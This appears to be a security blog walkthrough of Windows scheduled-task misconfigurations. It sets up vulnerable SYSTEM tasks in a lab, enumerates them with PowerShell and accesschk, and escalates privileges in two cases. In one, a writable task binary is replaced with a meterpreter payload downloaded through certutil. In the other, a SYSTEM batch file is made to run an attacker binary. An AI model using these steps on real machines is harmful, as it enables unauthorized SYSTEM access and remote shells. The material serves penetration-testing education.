Common Windows Misconfiguration: Scheduled Tasks

System Configuration

If you want to reproduce the two ‘exploitation case’ that I will present in this blog post you can follow this section to create two misconfigured scheduled tasks.

First we create directories.

mkdir "C:\ScheduledTasks\Task1"
mkdir "C:\ScheduledTasks\Task2"
mkdir "C:\ScheduledTasks\Task3"

The first task and last task will execute a binary and the second task will execute a BAT file.

copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task1\something.exe"
echo for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i  > C:\ScheduledTasks\Task2\something.bat
copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task3\something.exe"

We disallow the lowuser user the write access to the C:\ScheduledTasks\Task1\ and C:\ScheduledTasks\Task2\ folders and the write and delete access to the C:\ScheduledTasks\Task2\something.bat file.

icacls "C:\ScheduledTasks\Task2" /deny lowuser:(W)
icacls "C:\ScheduledTasks\Task2\something.bat" /deny lowuser:(W,D)
icacls "C:\ScheduledTasks\Task3" /deny lowuser:(W)

Now, we can create three scheduled tasks with the schtasks command. Note, for those who want to learn how to use schtask you can read this Microsoft page. Moreover, the last task will be executed with lowuser privilege instead of NT Authority\System.

schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task1" /tr "C:\ScheduledTasks\Task1\something.exe" /sc minute /mo 2
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task2" /tr "C:\ScheduledTasks\Task2\something.bat" /sc minute /mo 2
schtasks /create /ru "lowuser" /rp "" /tn "\Microsoft\AdminTasks\Task3" /tr "C:\ScheduledTasks\Task3\something.bat" /sc minute /mo 2

You should be good.

Windows Scheduled Tasks & Misconfiguration

According to Microsoft:

The Task Scheduler enables you to automatically perform routine tasks on a chosen computer. The Task Scheduler does this by monitoring whatever criteria you choose to initiate the tasks (referred to as triggers) and then executing the tasks when the criteria is met.

Comparable to cron jobs in Unix system, the Task Scheduler will execute an action for a defined trigger.

The different actions that the Task Scheduler can archive are:

  • Firing a COM handler
  • Executing a binary
  • Send an email
  • Showing a message box

The different trigger that can be used to execute an action are:

  • Time-based
    • Time trigger
    • Daily trigger
    • Weekly trigger
    • Monthly trigger
  • Event-based
    • IDLE trigger
    • Boot trigger
    • Registration trigger
    • Logon trigger
    • Session state change trigger

Note that a task can be fired with multiple triggers.

A simple example would be; I want a task that will execute a script every time a user log in the system or to pop a message box every months to remember that I have to change my passwords.

Described like that, it is not really dangerous, but the problem is that in most cases tasks are executed with high privileges, by NT Authority\System. Therefore, if the action is to execute a binary and if the binary can be overwritten with an arbitrary one, that could lead to a privilege escalation.

Documentation & reference:

Tasks Enumeration

In order to get all scheduled tasks, we can use the DOS command schtask, documented here.

DOS list scheduled tasks

Or, we can use the PowerShell cmdlet Get-ScheduledTask, documented here.

PS get-scheduled-tasks

At this point, we have a lot of tasks, so let us work a bit with PowerShell to get a more relevant output. First, we can remove all tasks located under the /Microsoft/Windows/ path just because, most of the time, it is the default scheduled tasks.

Get-ScheduledTask | Select * | ? {$_.TaskPath -notlike "\Microsoft\Windows\*"} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}

PS filter out windows

Awesome, we have five tasks, now we can remove the tasks who are executed with the same privilege as our lowuser user.

Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, Task
Path, TaskName, @{Name="User";Expression={$_.Principal.userID}}

PS get all interesting system tasks

Finally, we have two interesting tasks, which are worth to analyse, Task1 and Task2.

Exploit Case: Task1

Let us see how we can exploit this first scheduled task to gain more privileges on this system.

We can use this following PowerShell commands to get the interval of execution of the Task.

$task= Get-ScheduledTask -TaskName Task1
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}

task1 interval

We can find the actions of this task with these commands.

$task= Get-ScheduledTask -TaskName Task1
ForEach ($action in $task.Actions) { Select $action.Execute}

task1 actions

According to the outputs, Task1 execute the C:\ScheduledTasks\Task1\something.exe binary every two minutes. As a low privilege user we have to check if we can overwrite this file.

The awesome accesschk.exe tool can be used.

C:\Toolbox\accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\something.exe

task1 accesschk

We have write permission, so, we can replace the original something.exe binary by a meterpreter shell.

certutil -urlcache -split -f "" C:\ScheduledTasks\Task1\something.exe

task1 download file

After maximum two minutes we get a meterpreter session with SYSTEM privileges.

task1 meterpreter session

Exploit Case: Task 2

Same as previously, let us see the interval and the action executed by Task2.

$task = Get-ScheduledTask -TaskName Task2
ForEach ($trigger in $task.Triggers) { echo $trigger.Repetition.Interval}
ForEach ($action in $task.Actions) { echo $action.Execute }

task2 interval actions

Interesting, a bat file is executed.

task2 something bat file

According to what we have so far, every two minutes Task2 will execute C:\ScheduledTasks\Task2\something.bat, that will execute in turn every lines of the C:\ScheduledTasks\Task2\.secret\file.txt file.

Fortunately for us, the lowuser user have write access to this directory.

task2 accesschk

Therefore, we can create a new directory named .secret and add the command that we want to execute as SYSTEM in the file.txt file.

mkdir C:\ScheduledTasks\Task2\.secret
echo "C:\Windows\System32\spool\drivers\color\legit.exe" > C:\ScheduledTasks\Task2\.secret\file.txt

task2 create file

After maximum two minutes, we have a SYSTEM shell.

task2 met shell